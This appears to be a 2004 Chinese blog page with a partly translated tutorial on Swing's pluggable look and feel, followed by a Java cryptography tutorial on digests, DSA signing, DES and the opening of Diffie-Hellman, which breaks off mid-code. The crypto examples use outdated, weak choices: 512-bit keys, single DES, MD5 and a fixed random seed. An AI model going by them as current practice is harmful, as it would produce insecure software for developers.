2004年12月10日

Using Swing’s Pluggable Look and Feel 


 


 


 


 


本文论述了Swing中插件式外观的概念,同时提供了一些使用例子,这些例子可以使开发人员开发方便快速。



 


插件式外观的含义


SwingJFC(Java Foundation Classes)的一个组成部分,他用插件式外观(L&F)的方式实现了一系列图形用户界面(GUI).简要的说,给予Swing的应用程序可以以native Windows, Mac OS X, GTK+, or Motif等各种外观模式显示。或者他们可以通过”Metal”包拥有一个唯一的java外观.甚至可以通过完全实现L&F开发一套自己的外观。


早期的Java只提供基于本地组件的GUI元素(由底层窗口系统控制),为了平台独立性,Java只能提供各个平台都提供的元素和特性。对于现在的胖客户端程序来说这是远远不够的.对功能强大的UI元素的需求的增加导致了JFCSwing的开发。他们克服了原始实现的限制。和他们的predecessors(仍在使用的AWT)不同,Swing组件不依赖于底层的窗口系统,他们是完全用Java实现的轻量级组件 ,有人可能会说:严格的来说他们不是本地化(native).Java look and feel确实是这样的。甚至于它的Windows系列的界面也是本地底层组件副本的实现。我们可以通过WindowsAPI创建,绘画,维护GUI元素来建立新的界面


插件式(Pluggable)意味着GUI元素的显示和行为都是可以在不改变程序的情况下改变的,甚至当组件正在显示的时候也可以改变。当Swing程序通过装载JButton类创建一个button新的实例时,这个新的对象知道如何在屏幕上绘制自己以及如何响应鼠标的运动和点击事件。 他将这些任务(例如绘图和鼠标事件处理)委托给一些特定的类,因为如果button本身包含这些创建它的可视化界面,若想改变button的外观就需要修改这些代码或者增加新的方法给button,  所以Swing 提供了装载,选择以及创建自定义外观的方法。实现一套新的外观工作量很大,超出了本文的范围,可以在O’Reilly的书籍《Java Swing》中找到更多的信息。



javax.swing.UIManager


许多L&F有关的操作都在类javax.swing.UIManager类中处理。程序用这个类查询使用哪一种外观,获取特定的L&F名字,以及设置程序需要用的L&F。下面简要介绍一下他的一些有趣的方法,后面我们会详细描述此类:


public static String getCrossPlatformLookAndFeelClassName()


此方法返回一个跨平台的L&F类的全名。如果程序在各种平台需要有一个统一的外观,使用这个方法返回的L&F。下一节会详细介绍这个L&F


public static String getSystemLookAndFeelClassName()


此方法返回一个实现了运行环境本地化外观的类名。返回的类名是依赖于平台的。当程序需要显示为本地程序的特性时,使用此方法。


public static UIManager.LookAndFeelInfo[] getInstalledLookAndFeels()


此方法返回当前可用的L&F列表。除了跨平台的和本地化的外观之外,java运行时通常还会提供Motif L&F。前面说过,Swing提供了建立自己的一套外观方案的方法。如果自己的方案包已经正确安装的话,在这里也会返回。


public static void setLookAndFeel(String className)


设置当前程序使用的外观.



The Java Look and Feel


现在通过下面的例子来学习插件式外观在程序中如何使用以及如何影响程序。


import javax.swing.*;


import javax.swing.border.*;


import java.awt.*;


import java.awt.event.*;


 


public class SuperSimple2 extends JFrame {


 


  JLabel msgLabel;


 


  public SuperSimple2() {


    super(“SuperSimple”);


    setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);//点击关闭按钮时不作任何响应


    addWindowListener(new WindowAdapter() {//关闭事件处理――关闭程序


      public void windowClosing(WindowEvent e) {


        System.exit(0);


      }


    });


 


ActionListener al = new ActionListener() {


//Action事件监听器,设置msg标签显示触发事件的组件名称


      public void actionPerformed(ActionEvent e) {


        msgLabel.setText(((JButton)e.getSource()).getText());


      }


    };


    JButton button;


    JPanel buttonPanel = new JPanel();//按钮面板


    buttonPanel.setBorder(


      new TitledBorder(“please click a button”));


    for (int i = 0; i < 3; i++) {


      button = new JButton(“Button #” + (i + 1));


      button.addActionListener(al);


      buttonPanel.add(button);


    }


 


    JPanel cp = new JPanel(new BorderLayout());//消息面板


    cp.setBorder(new EmptyBorder(10, 10, 10, 10));


    msgLabel = new JLabel(“no button clicked!”);//初始化msg标签


    cp.add(msgLabel, BorderLayout.NORTH);


    cp.add(buttonPanel, BorderLayout.CENTER);


 


    setContentPane(cp);


    pack();


    setVisible(true);


  }


   


  public static void main(String [] args) {


    new SuperSimple2();


  }


}


无论使用什么操作系统,这个程序只是显示一个包含一些按钮的窗口,但是他的可视化界面却各不相同。在一个Mac机上,它会(至少某种程度上)看起来像一个本地化的程序一样。其它系统可能像图1一样显示:



1. The Java look and feel


这是一个Java外观。包含这个L&F的包名为: javax.swing.plaf.metal,通常称为Metal.MetalSun公司对于java程序外观的可视化选择。在J2SE1.5中,有一个称为Ocean的轻便外观,会替换现在使用的老的(现在成为Steel)。技术上来说,Ocean不是一个新的外观,它仅仅是作为javax.swing.plaf.metal.MetalTheme实现了。所以如果希望和现有的Metal程序(例如,涉及getPreferredSize()方法)兼容,Java外观通常通过跨平台外观引用,它在所有提供JavaJFC的平台上都能正常工作。



Native Vs. Cross-Platform Look and Feel


1的程序看起来可能并不是很熟悉,“look and feel”的概念指GUI组件的可视化界面和物理行为,甚至它还覆盖了超越组件级别的其它方面的功能。它还和术语学、层以及一般程序行为有关。例如在一些平台上用“quit”表示推出程序,在另一些平台则是“exit”;有些程序有一个主窗口,主窗口包含一些内部frameInternalFrame),另外一些则是有多个顶层窗口。或者从程序的运行方式或它将它的文件和设置放置在哪里的角度考虑。我们可能称这是用户经验(user experience。一个应用程序可能使用和本地界面相似的GUI元素。但是如果它的行为(动作)如果和本地其它程序的行为(动作)不同的话,感觉就会很奇怪。为什么会这样呢?想一想我们的日程生活规律,我们习惯用特定的字体和颜色;我们希望总是在一个特定的地方。一个Windows XP用户希望通过点击窗口右上角的小红色X关闭窗口,因此,若程序的关闭元素放在窗口的左上角对他/她来说就会感觉很奇怪,因为他/她不习惯这样。对于Mac的用户也是一样的:在程序的顶级窗口内放置一个菜单条感觉恨不熟悉,因为Mac程序通常将菜单条放在屏幕上方


但是我们的程序为什么要使用Metal?如果一个程序没有显式的设置L&FUIManager会维护一个缺省的L&F,在许多操作系统上,这个缺省值是Metal


下面的问题是:一个程序需要使用本地化的L&F吗?Java的最大优势就是“write once, run anywhere.” 考虑到这个问题时,一个java程序是否需要在所有平台都有一个统一的界面呢?对于所有的java程序是否都要求用同一种外观呢?在《Java Look and Feel Design Guidelines》这本书中,你可以学习如何用一系列简单方便的设计风格为应用程序提供一个唯一的用户界面。它提供了关于程序中如何使用J&F的丰富的信息,包括如何组织菜单和对话框;使用那些颜色,字体和图标。Sun曾经提出“100%纯java”的概念。如果你希望你的程序被认证为Java程序,你应该使用J&F和这本书中的指导方针来提供用户界面。Sun大力提倡这种做法。这就是为什么大多数系统中Metal是一个缺省的L&F。另一方面,许多人认为Metal很丑陋。对此我不做任何评价,因为那是个人品味。尽管如此,Metal还是有几个致命弱点:



  • 有几个可供选择的L&F
  • There are even completely new windowing toolkits. One that gained widespread public recognition is SWT, the Standard Widget Toolkit which is used in the Eclipse universal tool platform.
  • J2SE 1.5 提供了一些加工过的L&F.

时间会证明Ocean风格的界面是否会取得比Steel更好的声誉。图2显示了新的外观



Figure 2. SwingSet using the new J2SE 1.5 Ocean look


我已经提到过,习惯特定行为(例如关闭窗口的例子)的用户可能会同时使用几个程序工作。如果Java程序与其它的本地程序的外观和行为都不同,用户就会感到很困惑和苦恼。另外很多人对于可视化的外观游很大的期望。这就是为什么在Mac机上例子程序不以Java L&F风格显示。Java程序需要平滑的集成到Mac OS X 环境中,否则Mac用户永远也不会接受这样一个程序。由于这个原因,许多Swing程序包含和下面代码相似的代码:


try {


  UIManager.setLookAndFeel(


    UIManager.getSystemLookAndFeelClassName());


} catch (Exception e) {


}


使程序使用本地的L&F无疑有一下几个优点:



  • 外观对用户来说很熟悉
  • 不能一下就看出程序是由java写的。:)

Unfortunately, this has a seldom-acknowledged drawback. Although getSystemLookAndFeelClassName() returns a L&F that claims to provide a native look, the user might have installed one that even better resembles the host environment. 现在的版本是通过硬编码实现的。当sun认识到这个问题时,J2SE1.5允许用户设置getSystemLookAndFeelClassName()的返回值。


With J2SE 1.4.2, Sun introduced the GTK+ look and feel. On many Linux-based systems it would be adequate to return it as the native L&F. But currently, this is not the case. Additionally, getInstalledLookAndFeels() does not mention this L&F at all. Sun has fixed this in J2SE 1.5; however, it may still take some time until this version will gain widespread use. As a result, on Linux, most Java programs show the Motif look and feel.


On Windows systems, there are several issues with Sun’s implementation of the Windows look and feel. If an application uses it, its components may not look or behave exactly like native ones. This is because the Windows L&F only mimics its native counterparts, rather than using them. The WinLAF project on java.net aims to fix these glitches. If you are interested in what these problems are, please have a look at WinLAF’s release notes. Of course, it would be best if the underlying issues were fixed in Java itself. Until this is the case, the WinLAF project provides a way to make Java applications with the Windows look and feel appear as close to their native counterparts as possible. Figures 3 and 4 illustrate the sometimes subtle differences.



Figure 3. SwingSet using Sun’s Windows look and feel



Figure 4. SwingSet using WinLAF’s look and feel


How can applications benefit from the WinLAF project? According to the installation instructions, using WinLAF requires two steps:


1.       Put the winlaf-0.4.jar file in the CLASSPATH of your application.


2.       In your main() method, include a line of code like this: net.java.plaf.LookAndFeelPatchManager.initialize();


However, this ties an application to the WinLAF project, which is not what we want. But it takes just a few steps to make Swing applications benefit from the WinLAF corrections. These are:


1.       Copy the WinLAF .jar file to the ext directory of your Java installation.


2.       Create a little wrapper class and put it in a .jar file.


3.       Put that jar file into the ext directory as well.


4.       Modify the swing.properties file to include the new look and feel and set the L&F as the default one.


The code of the little wrapper class is as follows.


package com.sun.java.swing.plaf.windows;


 


public class WinLAFWrapper extends WindowsLookAndFeel {


   


  public WinLAFWrapper() {


    try {


      javax.swing.UIManager.setLookAndFeel(this);


      net.java.plaf.LookAndFeelPatchManager.initialize();


    } catch (Exception e) {


    }


  }


}



Some Thoughts on Making Choices


有几种方法确定外观:


1.       选择跨平台的外观


2.       选择本地化外观


3.       提供自定义的外观


4.       让用户决定


Any of the first three has the disadvantage that it does not respect users’ preferences. Programs that force Java to use a specific look and feel to render its components will not benefit from the WinLAF project; neither will they show the appropriate system look and feel on some operating systems. As we have seen, there might be an enhanced version of the system look and feel, and it is quite probable that the users would like to use this. And on some systems, Java simply assumes the wrong look and feel to be the native one. Consequently, the program must allow the user to decide which look and feel to use. The main reason is flexibility. If someone likes the Java look, he/she can choose it. If others prefer a tight integration into the host environment, let them have it. And the ones in favor of really individual look and feel may choose their preferred one, too. Technically, this is not a big deal. You can query the available look and feels using getInstalledLookAndFeels() and set one with another method of UIManager; for example, public static void setLookAndFeel(LookAndFeel newLookAndFeel) or public static void setLookAndFeel(String className).


However, since there is no standard dialog box for selecting L&Fs, applications usually implement one on their own. Although it is desirable that users can choose which look and feel the application should use, doing so should be the same in all applications. Clearly, the best solution would be if Sun provided a standard look and feel chooser. Since this probably will not be the case for some time, it is perfectly valid to provide one. But please consider the following question: why do users have to select a preferred look and feel for almost any application they install? Swing provides means to set a look and feel as the default one. If a user has done so, it is quite likely that this is the one he/she likes best. Why can’t an application respect his/her decision?



Specifying a Default Look and Feel


许多L&F相关的缺省设置可以在配置文件swing.properties 中管理,文件位于%JAVA_HOME%\lib 或者 $JAVA_HOME/lib取决于你的操作系统。如果没有这个文件,可以使用任何ASCII文件编辑器创建它。更好的方法是使用专门的工具,例如TKPLAFUtility.



Figure 5. The TKPLAFUtility program


缺省的L&F通过属性swing.defaultlaf确定。你可以通过文件swing.properties 或者命令行参数的形式设置。它的值应该是要使用的L&F的类的全名。在程序中,可以通过方法public static LookAndFeel getLookAndFeel()指定



总结


本文介绍并讨论了Swing GUI 原色中插件式外观的概念。在使用它的时候会有很多问题需要考虑


 


 

JAVA上加密算法的实现用例


MD5/SHA1,DSA,DESede/DES,Diffie-Hellman的使用


   第1章基础知识
1.1. 单钥密码体制
单钥密码体制是一种传统的加密算法,是指信息的发送方和接收方共同使用同一把密钥进行加解密。
通常,使用的加密算法比较简便高效,密钥简短,加解密速度快,破译极其困难。但是加密的安全性依靠密钥保管的安全性,在公开的计算机网络上安全地传送和保管密钥是一个严峻的问题,并且如果在多用户的情况下密钥的保管安全性也是一个问题。
单钥密码体制的代表是美国的DES
1.2. 消息摘要
一个消息摘要就是一个数据块的数字指纹。即对一个任意长度的一个数据块进行计算,产生一个唯一指印(对于SHA1是产生一个20字节的二进制数组)。

消息摘要有两个基本属性:

两个不同的报文难以生成相同的摘要 
难以对指定的摘要生成一个报文,而由该报文反推算出该指定的摘要 
代表:美国国家标准技术研究所的SHA1和麻省理工学院Ronald Rivest提出的MD5


1.3. Diffie-Hellman密钥一致协议
密钥一致协议是由公开密钥密码体制的奠基人Diffie和Hellman所提出的一种思想。

先决条件,允许两名用户在公开媒体上交换信息以生成”一致”的,可以共享的密钥

代表:指数密钥一致协议(Exponential Key Agreement Protocol)

1.4. 非对称算法与公钥体系
1976年,Dittie和Hellman为解决密钥管理问题,在他们的奠基性的工作”密码学的新方向”一文中,提出一种密钥交换协议,允许在不安全的媒体上通过通讯双方交换信息,安全地传送秘密密钥。在此新思想的基础上,很快出现了非对称密钥密码体制,即公钥密码体制。在公钥体制中,加密密钥不同于解密密钥,加密密钥公之于众,谁都可以使用;解密密钥只有解密人自己知道。它们分别称为公开密钥(Public key)和秘密密钥(Private key)。

迄今为止的所有公钥密码体系中,RSA系统是最著名、最多使用的一种。RSA公开密钥密码系统是由R.Rivest、A.Shamir和L.Adleman俊教授于1977年提出的。RSA的取名就是来自于这三位发明者的姓的第一个字母

1.5. 数字签名
所谓数字签名就是信息发送者用其私钥对从所传报文中提取出的特征数据(或称数字指纹)进行RSA算法操作,以保证发信人无法抵赖曾发过该信息(即不可抵赖性),同时也确保信息报文在经签名后末被篡改(即完整性)。当信息接收者收到报文后,就可以用发送者的公钥对数字签名进行验证。 

在数字签名中有重要作用的数字指纹是通过一类特殊的散列函数(HASH函数)生成的,对这些HASH函数的特殊要求是:

接受的输入报文数据没有长度限制; 
对任何输入报文数据生成固定长度的摘要(数字指纹)输出 
从报文能方便地算出摘要; 
难以对指定的摘要生成一个报文,而由该报文反推算出该指定的摘要; 
两个不同的报文难以生成相同的摘要 


代表:DSA
第2章在JAVA中的实现
2.1. 相关
Diffie-Hellman密钥一致协议和DES程序需要JCE工具库的支持,可以到 http://java.sun.com/security/index.html 下载JCE,并进行安装。简易安装把 jce1.2.1\lib 下的所有内容复制到 %java_home%\lib\ext下,如果没有ext目录自行建立,再把jce1_2_1.jar和sunjce_provider.jar添加到CLASSPATH内,更详细说明请看相应用户手册

2.2. 消息摘要MD5和SHA的使用
使用方法:

首先用生成一个MessageDigest类,确定计算方法

java.security.MessageDigest alga=java.security.MessageDigest.getInstance(“SHA-1″);

添加要进行计算摘要的信息

alga.update(myinfo.getBytes());

计算出摘要

byte[] digesta=alga.digest();

发送给其他人你的信息和摘要

其他人用相同的方法初始化,添加信息,最后进行比较摘要是否相同

algb.isEqual(digesta,algb.digest())

相关AIP

java.security.MessageDigest 类

static getInstance(String algorithm)

返回一个MessageDigest对象,它实现指定的算法

参数:算法名,如 SHA-1 或MD5

void update (byte input)

void update (byte[] input)

void update(byte[] input, int offset, int len)

添加要进行计算摘要的信息

byte[] digest()

完成计算,返回计算得到的摘要(对于MD5是16位,SHA是20位)

void reset()

复位

static boolean isEqual(byte[] digesta, byte[] digestb)

比效两个摘要是否相同

代码:

import java.security.*;
public class myDigest {
  public static void main(String[] args)  {

    myDigest my=new myDigest();
    my.testDigest();

  }
  public void testDigest()
  {
   try {
     String myinfo=”摘要检测”;

    //java.security.MessageDigest alg=java.security.MessageDigest.getInstance(“MD5″);
      java.security.MessageDigest alga=java.security.MessageDigest.getInstance(“SHA-1″);
      alga.update(myinfo.getBytes());
      byte[] digesta=alga.digest(); 
      //通过某中方式传给其他人你的信息(myinfo)和摘要(digesta) 对方可以判断是否更改或传输正常
      java.security.MessageDigest algb=java.security.MessageDigest.getInstance(“SHA-1″);
      algb.update(myinfo.getBytes());
      if (algb.isEqual(digesta,algb.digest())) {
         System.out.println(“信息检查正常”);
       }
       else
        {
          System.out.println(“摘要不相同”);
         }

   }
   catch (java.security.NoSuchAlgorithmException ex) {
     System.out.println(“非法摘要算法”);
   }

  }
  public String byte2hex(byte[] b) //二行制转字符串
    {
     String hs=”";
     String stmp=”";
     for (int n=0;n<b.length;n++)
      {
       stmp=(java.lang.Integer.toHexString(b[n] & 0XFF));
       if (stmp.length()==1) hs=hs+”0″+stmp;
       else hs=hs+stmp;
       if (n<b.length-1)  hs=hs+”:”;
      }
     return hs.toUpperCase();
    }



 
2.3. 数字签名DSA

对于一个用户来讲首先要生成他的密钥对,并且分别保存 
生成一个KeyPairGenerator实例

   java.security.KeyPairGenerator  keygen=java.security.KeyPairGenerator.getInstance(“DSA”);
    如果设定随机产生器就用如相代码初始化
     SecureRandom secrand=new SecureRandom();
     secrand.setSeed(“tttt”.getBytes()); //初始化随机产生器
     keygen.initialize(512,secrand);     //初始化密钥生成器
    否则
     keygen.initialize(512);
    生成密钥公钥pubkey和私钥prikey
      KeyPair keys=keygen.generateKeyPair(); //生成密钥组
      PublicKey pubkey=keys.getPublic();
      PrivateKey prikey=keys.getPrivate();
    分别保存在myprikey.dat和mypubkey.dat中,以便下次不在生成
    (生成密钥对的时间比较长
     java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myprikey.dat”));
     out.writeObject(prikey);
     out.close();
     out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“mypubkey.dat”));
     out.writeObject(pubkey);
     out.close(); 


用他私人密钥(prikey)对他所确认的信息(info)进行数字签名产生一个签名数组 
从文件中读入私人密钥(prikey)

   java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myprikey.dat”));
    PrivateKey myprikey=(PrivateKey)in.readObject();
    in.close();
    初始一个Signature对象,并用私钥对信息签名
     java.security.Signature signet=java.security.Signature.getInstance(“DSA”);
     signet.initSign(myprikey);
     signet.update(myinfo.getBytes());
     byte[] signed=signet.sign();
    把信息和签名保存在一个文件中(myinfo.dat)
      java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myinfo.dat”));
      out.writeObject(myinfo);
      out.writeObject(signed);
      out.close();
    把他的公钥的信息及签名发给其它用户


 



其他用户用他的公共密钥(pubkey)和签名(signed)和信息(info)进行验证是否由他签名的信息 
读入公钥
java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“mypubkey.dat”));
PublicKey pubkey=(PublicKey)in.readObject();
in.close();

读入签名和信息
in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myinfo.dat”));
String info=(String)in.readObject();
byte[] signed=(byte[])in.readObject();
in.close();

初始一个Signature对象,并用公钥和签名进行验证
java.security.Signature signetcheck=java.security.Signature.getInstance(“DSA”);
signetcheck.initVerify(pubkey);
signetcheck.update(info.getBytes());
if (signetcheck.verify(signed)) { System.out.println(“签名正常”);}

对于密钥的保存本文是用对象流的方式保存和传送的,也可可以用编码的方式保存.注意要
import java.security.spec.*
import java.security.*

具休说明如下

public key是用X.509编码的,例码如下:   byte[] bobEncodedPubKey=mypublic.getEncoded(); //生成编码
   //传送二进制编码
   //以下代码转换编码为相应key对象
   X509EncodedKeySpec bobPubKeySpec = new X509EncodedKeySpec(bobEncodedPubKey);
   KeyFactory keyFactory = KeyFactory.getInstance(“DSA”);
   PublicKey bobPubKey = keyFactory.generatePublic(bobPubKeySpec);


 

对于Private key是用PKCS#8编码,例码如下:  byte[] bPKCS=myprikey.getEncoded();
  //传送二进制编码
  //以下代码转换编码为相应key对象
  PKCS8EncodedKeySpec priPKCS8=new PKCS8EncodedKeySpec(bPKCS);
  KeyFactory keyf=KeyFactory.getInstance(“DSA”);
  PrivateKey otherprikey=keyf.generatePrivate(priPKCS8);


 




常用API 
java.security.KeyPairGenerator 密钥生成器类
public static KeyPairGenerator getInstance(String algorithm) throws NoSuchAlgorithmException
以指定的算法返回一个KeyPairGenerator 对象
参数: algorithm 算法名.如:”DSA”,”RSA”

public void initialize(int keysize)


以指定的长度初始化KeyPairGenerator对象,如果没有初始化系统以1024长度默认设置


参数:keysize 算法位长.其范围必须在 512 到 1024 之间,且必须为 64 的倍数

public void initialize(int keysize, SecureRandom random)
以指定的长度初始化和随机发生器初始化KeyPairGenerator对象
参数:keysize 算法位长.其范围必须在 512 到 1024 之间,且必须为 64 的倍数
random 一个随机位的来源(对于initialize(int keysize)使用了默认随机器

public abstract KeyPair generateKeyPair()
产生新密钥对

java.security.KeyPair 密钥对类
public PrivateKey getPrivate()
返回私钥

public PublicKey getPublic()
返回公钥

java.security.Signature 签名类
public static Signature getInstance(String algorithm) throws NoSuchAlgorithmException
返回一个指定算法的Signature对象
参数 algorithm 如:”DSA”

public final void initSign(PrivateKey privateKey)
throws InvalidKeyException
用指定的私钥初始化
参数:privateKey 所进行签名时用的私钥

public final void update(byte data)
throws SignatureException
public final void update(byte[] data)
throws SignatureException
public final void update(byte[] data, int off, int len)
throws SignatureException
添加要签名的信息

public final byte[] sign()
throws SignatureException
返回签名的数组,前提是initSign和update

public final void initVerify(PublicKey publicKey)
throws InvalidKeyException
用指定的公钥初始化
参数:publicKey 验证时用的公钥

public final boolean verify(byte[] signature)
throws SignatureException
验证签名是否有效,前提是已经initVerify初始化
参数: signature 签名数组

 */
 import java.security.*;
 import java.security.spec.*;
public class testdsa {
  public static void main(String[] args) throws java.security.NoSuchAlgorithmException,java.lang.Exception {
        testdsa my=new testdsa();
        my.run();
  }
  public void run()
  {

  //数字签名生成密钥
  //第一步生成密钥对,如果已经生成过,本过程就可以跳过,对用户来讲myprikey.dat要保存在本地
  //而mypubkey.dat给发布给其它用户
   if ((new java.io.File(“myprikey.dat”)).exists()==false) {
       if (generatekey()==false) {
           System.out.println(“生成密钥对败”);
           return;
          };
        }
//第二步,此用户
//从文件中读入私钥,对一个字符串进行签名后保存在一个文件(myinfo.dat)中
//并且再把myinfo.dat发送出去
//为了方便数字签名也放进了myifno.dat文件中,当然也可分别发送
  try {
  java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myprikey.dat”));
  PrivateKey myprikey=(PrivateKey)in.readObject();
  in.close();

 // java.security.spec.X509EncodedKeySpec pubX509=new java.security.spec.X509EncodedKeySpec(bX509);

 //java.security.spec.X509EncodedKeySpec pubkeyEncode=java.security.spec.X509EncodedKeySpec
  String myinfo=”这是我的信息”;    //要签名的信息
  //用私钥对信息生成数字签名
  java.security.Signature signet=java.security.Signature.getInstance(“DSA”);
  signet.initSign(myprikey);
  signet.update(myinfo.getBytes());
  byte[] signed=signet.sign();  //对信息的数字签名
  System.out.println(“signed(签名内容)=”+byte2hex(signed));
 //把信息和数字签名保存在一个文件中
  java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myinfo.dat”));
  out.writeObject(myinfo);
  out.writeObject(signed);
  out.close();
  System.out.println(“签名并生成文件成功”);
  }
  catch (java.lang.Exception e) {
    e.printStackTrace();
    System.out.println(“签名并生成文件失败”);
  };

  //第三步
  //其他人通过公共方式得到此户的公钥和文件
  //其他人用此户的公钥,对文件进行检查,如果成功说明是此用户发布的信息.
  //
  try {

   java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“mypubkey.dat”));
   PublicKey pubkey=(PublicKey)in.readObject();
   in.close();
   System.out.println(pubkey.getFormat());

   in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myinfo.dat”));
   String info=(String)in.readObject();
   byte[] signed=(byte[])in.readObject();
   in.close();

  java.security.Signature signetcheck=java.security.Signature.getInstance(“DSA”);
  signetcheck.initVerify(pubkey);
  signetcheck.update(info.getBytes());
  if (signetcheck.verify(signed)) {
  System.out.println(“info=”+info);
   System.out.println(“签名正常”);
  }
  else  System.out.println(“非签名正常”);
  }
  catch (java.lang.Exception e) {e.printStackTrace();};


  }

  //生成一对文件myprikey.dat和mypubkey.dat—私钥和公钥,
  //公钥要用户发送(文件,网络等方法)给其它用户,私钥保存在本地
  public boolean generatekey()
  {
    try {
  java.security.KeyPairGenerator  keygen=java.security.KeyPairGenerator.getInstance(“DSA”);
 // SecureRandom secrand=new SecureRandom();
 // secrand.setSeed(“tttt”.getBytes()); //初始化随机产生器
 // keygen.initialize(576,secrand);     //初始化密钥生成器
  keygen.initialize(512);
  KeyPair keys=keygen.genKeyPair();
//  KeyPair keys=keygen.generateKeyPair(); //生成密钥组
  PublicKey pubkey=keys.getPublic();
  PrivateKey prikey=keys.getPrivate();

  java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myprikey.dat”));
  out.writeObject(prikey);
  out.close();
  System.out.println(“写入对象 prikeys ok”);
  out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“mypubkey.dat”));
   out.writeObject(pubkey);
   out.close();
   System.out.println(“写入对象 pubkeys ok”);
   System.out.println(“生成密钥对成功”);
   return true;
  }
  catch (java.lang.Exception e) {
   e.printStackTrace();
   System.out.println(“生成密钥对失败”);
   return false;
   };

  }

  public String byte2hex(byte[] b)
    {
     String hs=”";
     String stmp=”";
     for (int n=0;n<b.length;n++)
      {
       stmp=(java.lang.Integer.toHexString(b[n] & 0XFF));
       if (stmp.length()==1) hs=hs+”0″+stmp;
       else hs=hs+stmp;
       if (n<b.length-1)  hs=hs+”:”;
      }
     return hs.toUpperCase();
    }

}

 



2.4. DESede/DES对称算法
首先生成密钥,并保存(这里并没的保存的代码,可参考DSA中的方法)

KeyGenerator keygen = KeyGenerator.getInstance(Algorithm);


SecretKey deskey = keygen.generateKey();

用密钥加密明文(myinfo),生成密文(cipherByte)

Cipher c1 = Cipher.getInstance(Algorithm);

c1.init(Cipher.ENCRYPT_MODE,deskey);

byte[] cipherByte=c1.doFinal(myinfo.getBytes());

传送密文和密钥,本文没有相应代码可参考DSA

………….

用密钥解密密文

c1 = Cipher.getInstance(Algorithm);

c1.init(Cipher.DECRYPT_MODE,deskey);

byte[] clearByte=c1.doFinal(cipherByte);

相对来说对称密钥的使用是很简单的,对于JCE来讲支技DES,DESede,Blowfish三种加密术

对于密钥的保存各传送可使用对象流或者用二进制编码,相关参考代码如下

   SecretKey deskey = keygen.generateKey();
   byte[] desEncode=deskey.getEncoded();
   javax.crypto.spec.SecretKeySpec destmp=new javax.crypto.spec.SecretKeySpec(desEncode,Algorithm);
   SecretKey mydeskey=destmp;

 



相关API

KeyGenerator 在DSA中已经说明,在添加JCE后在instance进可以如下参数

DES,DESede,Blowfish,HmacMD5,HmacSHA1

javax.crypto.Cipher 加/解密器

public static final Cipher getInstance(java.lang.String transformation)
                                throws java.security.NoSuchAlgorithmException,
                                       NoSuchPaddingException

 



返回一个指定方法的Cipher对象

参数:transformation 方法名(可用 DES,DESede,Blowfish)

public final void init(int opmode, java.security.Key key)
throws java.security.InvalidKeyException


用指定的密钥和模式初始化Cipher对象

参数:opmode 方式(ENCRYPT_MODE, DECRYPT_MODE, WRAP_MODE,UNWRAP_MODE)

key 密钥

public final byte[] doFinal(byte[] input)
                     throws java.lang.IllegalStateException,
                            IllegalBlockSizeException,
                            BadPaddingException


 


对input内的串,进行编码处理,返回处理后二进制串,是返回解密文还是加解文由init时的opmode决定


注意:本方法的执行前如果有update,是对updat和本次input全部处理,否则是本inout的内容

/*
安全程序 DESede/DES测试
*/
import java.security.*;
import javax.crypto.*;
public class testdes {
public static void main(String[] args){
    testdes my=new testdes();
    my.run();
  }
public  void run() {
//添加新安全算法,如果用JCE就要把它添加进去
 Security.addProvider(new com.sun.crypto.provider.SunJCE());
String Algorithm=”DES”; //定义 加密算法,可用 DES,DESede,Blowfish
String myinfo=”要加密的信息”;
   try {
   //生成密钥
   KeyGenerator keygen = KeyGenerator.getInstance(Algorithm);
   SecretKey deskey = keygen.generateKey();

   //加密
   System.out.println(“加密前的二进串:”+byte2hex(myinfo.getBytes()));
   System.out.println(“加密前的信息:”+myinfo);
   Cipher c1 = Cipher.getInstance(Algorithm);
   c1.init(Cipher.ENCRYPT_MODE,deskey);
   byte[] cipherByte=c1.doFinal(myinfo.getBytes());
    System.out.println(“加密后的二进串:”+byte2hex(cipherByte));
   //解密
   c1 = Cipher.getInstance(Algorithm);
   c1.init(Cipher.DECRYPT_MODE,deskey);
   byte[] clearByte=c1.doFinal(cipherByte);
   System.out.println(“解密后的二进串:”+byte2hex(clearByte));
   System.out.println(“解密后的信息:”+(new String(clearByte)));

  }
   catch (java.security.NoSuchAlgorithmException e1) {e1.printStackTrace();}
   catch (javax.crypto.NoSuchPaddingException e2) {e2.printStackTrace();}
   catch (java.lang.Exception e3) {e3.printStackTrace();}
  }
 public String byte2hex(byte[] b) //二行制转字符串
    {
     String hs=”";
     String stmp=”";
     for (int n=0;n<b.length;n++)
      {
       stmp=(java.lang.Integer.toHexString(b[n] & 0XFF));
       if (stmp.length()==1) hs=hs+”0″+stmp;
       else hs=hs+stmp;
       if (n<b.length-1)  hs=hs+”:”;
      }
     return hs.toUpperCase();
    }

}

 



2.5. Diffie-Hellman密钥一致协议
公开密钥密码体制的奠基人Diffie和Hellman所提出的 ”指数密钥一致协议”(Exponential Key Agreement Protocol),该协议不要求别的安全性先决条件,允许两名用户在公开媒体上交换信息以生成”一致”的,可以共享的密钥。在JCE的中实现用户alice生成DH类型的密钥对,如果长度用1024生成的时间请,推荐第一次生成后保存DHParameterSpec,以便下次使用直接初始化.使其速度加快

System.out.println(“ALICE: 产生 DH 对 …”);
KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance(“DH”);
 aliceKpairGen.initialize(512);
KeyPair aliceKpair = aliceKpairGen.generateKeyPair();

 



alice生成公钥发送组bob

byte[] alicePubKeyEnc = aliceKpair.getPublic().getEncoded();

 



bob从alice发送来的公钥中读出DH密钥对的初始参数生成bob的DH密钥对

注意这一步一定要做,要保证每个用户用相同的初始参数生成的

   DHParameterSpec dhParamSpec = ((DHPublicKey)alicePubKey).getParams();
    KeyPairGenerator bobKpairGen = KeyPairGenerator.getInstance(“DH”);
    bobKpairGen.initialize(dhParamSpec);
